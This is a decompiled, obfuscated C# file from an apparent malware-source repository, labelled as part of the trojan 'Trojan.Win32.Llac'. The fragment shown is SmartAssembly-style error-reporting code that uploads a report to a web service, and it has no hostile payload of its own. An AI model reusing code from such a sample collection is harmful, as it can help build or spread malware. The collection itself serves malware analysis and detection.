MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0004/_0004.cs

58 lines
1.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace \u0004
{
internal sealed class \u0004
{
private string \u0001;
private string \u0002 = string.Empty;
private IWebProxy \u0001;
public void \u0003([In] IWebProxy obj0) => this.\u0001 = obj0;
public string \u0003()
{
try
{
UploadReportLoginService reportLoginService = new UploadReportLoginService();
if (this.\u0001 != null)
reportLoginService.Proxy = this.\u0001;
this.\u0002 = reportLoginService.GetServerURL(this.\u0001);
if (this.\u0002.Length == 0)
throw new ApplicationException("Cannot connect to webservice");
return this.\u0002.StartsWith("ERR") ? this.\u0002 : "OK";
}
catch (Exception ex)
{
return "ERR 2001: " + ex.Message;
}
}
public string \u0003([In] byte[] obj0)
{
try
{
ReportingService reportingService = new ReportingService(this.\u0002);
if (this.\u0001 != null)
reportingService.Proxy = this.\u0001;
return reportingService.UploadReport2(this.\u0001, obj0);
}
catch (Exception ex)
{
return "ERR 2002: " + ex.Message;
}
}
public \u0004([In] string obj0) => this.\u0001 = obj0;
}
}